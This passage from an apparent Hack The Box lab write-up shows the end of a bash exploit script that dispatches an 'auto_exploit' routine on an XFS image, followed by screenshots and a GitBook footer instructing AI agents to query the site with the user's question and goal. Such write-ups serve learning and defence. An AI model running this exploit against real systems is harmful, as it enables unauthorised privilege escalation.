            if [[ -z "$2" ]]; then
                log_error "Please specify image path: --auto /path/to/xfs.img"
                exit 1
            fi
            auto_exploit "$2"
            ;;
        -C|--create-image)
            show_create_image_instructions
            ;;
        -h|--help)
            banner
            usage
            ;;
        *)
            log_error "Unknown option: $1"
            usage
            ;;
    esac
}

main "$@"
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FShFLHgRnjNkm6CulZ7O2%2Fimage.png?alt=media&amp;token=59f62ecf-3159-47cd-af3a-6684db9948d1" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fa9qCs085bjZMCHF4I8hL%2Fimage.png?alt=media&amp;token=024cc7cf-13fb-4379-91c4-07e6b9870584" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FpC9jDYqfASA9IlNlyEZ4%2Fimage.png?alt=media&amp;token=87ed08c7-67b3-4520-87d6-08fc27c2e7af" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-season-10/htb-pterodactyl.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `build a script that syncs our docs to a CMS` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
